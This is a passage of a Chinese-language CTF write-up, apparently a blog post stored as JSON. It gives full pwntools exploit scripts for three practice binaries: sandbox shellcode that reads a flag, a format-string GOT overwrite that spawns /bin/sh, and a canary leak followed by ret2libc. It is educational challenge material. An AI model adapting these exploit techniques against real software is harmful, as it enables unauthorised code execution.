![\"\"](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div><\/figure>\n\n\n\n
payload\uff1a<\/p>\n\n\n\n
payload=asm(shellcraft.openat(-100,\"flag\")+shellcraft.sendfile(1,3,0,100)+shellcraft.exit(0))<\/code><\/pre>\n\n\n\n\u4f46\u662f\u6253\u4e0d\u901a\uff0c\u7559\u610f\u5230\u8fd9\u4e00\u884c:<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u8981\u6c42\u4e00\u5f00\u59cb\u8c03\u7528\u4e00\u4e2a\u8c03\u7528\u53f7\u4e3a0xffffffff\u7684\u51fd\u6570\uff0c\u4e8e\u662fpayload\u53d8\u4e3a\uff1a<\/p>\n\n\n\n
asm('''mov rax,0xffffffff; syscall'''+shellcraft.openat(-100,\"flag\")+shellcraft.sendfile(1,3,0,100)+shellcraft.exit(0))\n<\/code><\/pre>\n\n\n\n\u5b8c\u6574exp\uff1a<\/p>\n\n\n\n
\n
\nfrom pwn import *\n\nfrom ae64 import AE64\ncontext(arch='amd64',os='linux')\ncontext.log_level = 'debug'\n#p=remote('ctf.mardle.cn',34854)\np=process('\/home\/monke\/PWN\/CNCTF\/sandbox\/sandbox')\n\np.recvuntil('shellcode: \\n')\npayload=asm('''mov rax,0xffffffff; syscall'''+shellcraft.openat(-100,\"flag\")+shellcraft.sendfile(1,3,0,100)+shellcraft.exit(0))\n\np.sendline(payload)\nprint(p.recvall())\np.interactive()\n<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n<\/div>\n\n\n\n
<\/div><\/figure>\n\n\n\n
<\/code><\/pre>\n\n\n\n<\/span>ez_fmt<\/span><\/h2>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u5982\u4e0a\u56fe\uff0c\u9898\u76ee\u4e00\u5f00\u59cb\u4f1a\u628aread\u51fd\u6570\u5730\u5740\uff08\u771f\u5b9e\u5730\u5740\uff09\u6253\u51fa\u6765\uff0c\u7136\u540e\u6709\u4e00\u4e2aread\u4e00\u4e2aprintf\uff0c\u6ce8\u610f\u6700\u540e\u9898\u76ee\u4e0d\u662f\u6b63\u5e38return\u800c\u662fexit(0)\u3002<\/p>\n\n\n\n
\u601d\u8def\u662f\u5229\u7528\u9898\u76ee\u7ed9\u7684read\u51fd\u6570\u7b97\u51fasystem\u51fd\u6570\u5730\u5740\uff0c\u7136\u540e\u7b2c\u4e00\u6b21read\u5148\u8986\u5199got\u8868exit\u51fd\u6570\u4e3amain\u51fd\u6570\uff0c\u7b2c\u4e8c\u6b21\u628aprintf\u8986\u5199\u4e3asystem\uff0c\u7b2c\u4e09\u6b21\u8f93\u5165\/bin\/sh\\x00\u5c31\u4f1a\u6267\u884csystem(\/bin\/sh)\uff0c\u62ff\u5230shell\u3002<\/p>\n\n\n\n
exp:<\/p>\n\n\n\n
\nfrom pwn import *\nfrom LibcSearcher import *\n\ncontext.log_level = 'debug'\n\np = process('\/home\/monke\/PWN\/CNCTF\/fmt\/ez_fmt')\n#p = remote('ctf.mardle.cn', 33992)\nelf = ELF('\/home\/monke\/PWN\/CNCTF\/fmt\/ez_fmt')\npop_rdi=0x400783 \n\np.recvuntil(\"you: \")\nread=p.recv(14)\nprint(read)\nread=int(read,16)\n#print(hex(elf.got[\"read\"]))\n#print(elf.sym[\"main\"])\n\n\nlibc=LibcSearcher(\"read\",read)\nlibcbase=read-libc.dump('read')\nsystem=libcbase+libc.dump('system')\n\n\n\npayload=fmtstr_payload(8,{elf.got[\"exit\"] :elf.sym[\"main\"]})\np.sendlineafter(\"ng: \\n\",payload)\n#test\n#payload=b\"%9$sAAAA\" + p64(elf.got[\"puts\"])\n#p.sendlineafter(\"ng: \\n\",payload)\n#puts = u64(p.recvuntil('\\x7f')[-6:].ljust(8,b'\\x00'))\n#print(hex(puts))\npayload=fmtstr_payload(8,{elf.got[\"printf\"] :elf.sym[\"system\"]})\np.sendlineafter(\"ng: \\n\",payload)\np.sendline(\"\/bin\/sh\\x00\")\n\np.interactive()\n<\/code><\/pre>\n\n\n\n<\/span>signin<\/span><\/h2>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u7b2c\u4e00\u4e2aread+puts\u6cc4\u9732canary\uff0c\u7136\u540e\u6253ret2libc\uff0c\u503c\u5f97\u4e00\u63d0\u7684\u662f\uff0c\u5728\u9ad8\u7248\u672clibc\u4e2d\u51fd\u6570\u4e0d\u518d\u56fa\u5b9a\u4ee5\\x7f\u7ed3\u5c3e\uff0c\u6240\u4ee5\u6cc4\u9732puts\u5730\u5740\u65f6\u5019\u6700\u597d\u522b\u7528 puts = u64(p.recvuntil(‘\\x7f’)[-6:].ljust(8,b’\\x00′)), \u7528puts =u64(p.recv(7).ljust(8, b”\\0″))<\/p>\n\n\n\n
exp:<\/p>\n\n\n\n
from pwn import*\nfrom LibcSearcher import *\ncontext(arch=\"amd64\", os=\"linux\", log_level=\"debug\")\n\n# Load the ELF file and execute it as a new process.\n\n#lddp=remote(\"ctf.mardle.cn\",34887)\np = process(\"\/home\/monke\/PWN\/CNCTF\/signin\/signin\")\nelf=ELF(\"\/home\/monke\/PWN\/CNCTF\/signin\/signin\")\n\npop_rdi = 0x40071e\nret=0x400596\n\n#gdb.attach(p)\n#\u5229\u7528printf\u6ca1\u8bfb\u5230\\0\u4e0d\u622a\u65ad\u7684\u7279\u70b9\uff0c\u6cc4\u9732canary\np.sendlineafter(\" name: \",b'a')\n\npayload1=b'a'*23+b'b'\np.sendlineafter('yourself: ',payload1)\n\np.recvuntil(b'b')\ncanary=u64(p.recv(8))-0xa\n\n#leak\npayload = cyclic(24)+p64(canary)+p64(0)+p64(ret)+p64(pop_rdi)+p64(elf.got[\"puts\"])+p64(elf.plt[\"puts\"])+p64(elf.sym[\"main\"])\n\np.sendlineafter('Say something: ',payload)\n#puts = u64(p.recvuntil('\\x7f')[-6:].ljust(8,b'\\x00'))\nputs =u64(p.recv(7).ljust(8, b\"\\0\"))\nprint('puts='+hex(puts))\n\n\nlibc=LibcSearcher(\"puts\",puts)\nlibcbase=puts-libc.dump('puts')\nsystem=libcbase+libc.dump('system')\nbinsh=libcbase+libc.dump('str_bin_sh')\nprint(hex(system))\nprint(hex(binsh))\n\nprint(hex(canary))\n\npayload = cyclic(24)+p64(canary)+p64(0)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)\n\n\np.sendlineafter(\" name: \",b'a')\np.sendlineafter('yourself: ',b'a')\np.sendlineafter('Say something: ',payload)\n#gdb.attach(p)\np.interactive()\n<\/code><\/pre>\n\n\n\n\u540e\u4e24\u9898\u6253\u4e0d\u901a\uff0c\u770b\u4e86\u5b98\u65b9wp\u611f\u89c9\u4e5f\u6ca1\u4ec0\u4e48\u4e0d\u5bf9\u52b2\u7684\uff0c\u5982\u679c\u53d1\u73b0\u9519\u8bef\u4e4b\u5904\u52b3\u8bf7\u5e08\u5085\u4eec\u5728\u8bc4\u8bba\u533a\u6307\u6b63\uff0c\u611f\u6fc0\u4e0d\u5c3d\uff01<\/p>\n","protected":false},"excerpt":{"rendered":"
\u56db\u9053\u9898\uff0c\u5176\u4e2d\u540e\u4e24\u9053exp\u611f\u89c9\u6ca1\u4ec0\u4e48\u6bdb\u75c5\uff0c\u4f46\u662f\u6253\u4e0d\u901a\uff0c\u770b\u4e86\u5b98\u65b9wp\u611f\u89c9\u601d\u8def\u4e5f\u5dee\u4e0d\u591a\uff0c\u4e5f\u4e00\u8d77\u5199\u8fd9\u4e86\u3002 real_s […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-483","post","type-post","status-publish","format-standard","hentry","category-game"],"_links":{"self":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/483","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/comments?post=483"}],"version-history":[{"count":3,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/483\/revisions"}],"predecessor-version":[{"id":495,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/483\/revisions\/495"}],"wp:attachment":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/media?parent=483"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/categories?post=483"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/tags?post=483"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}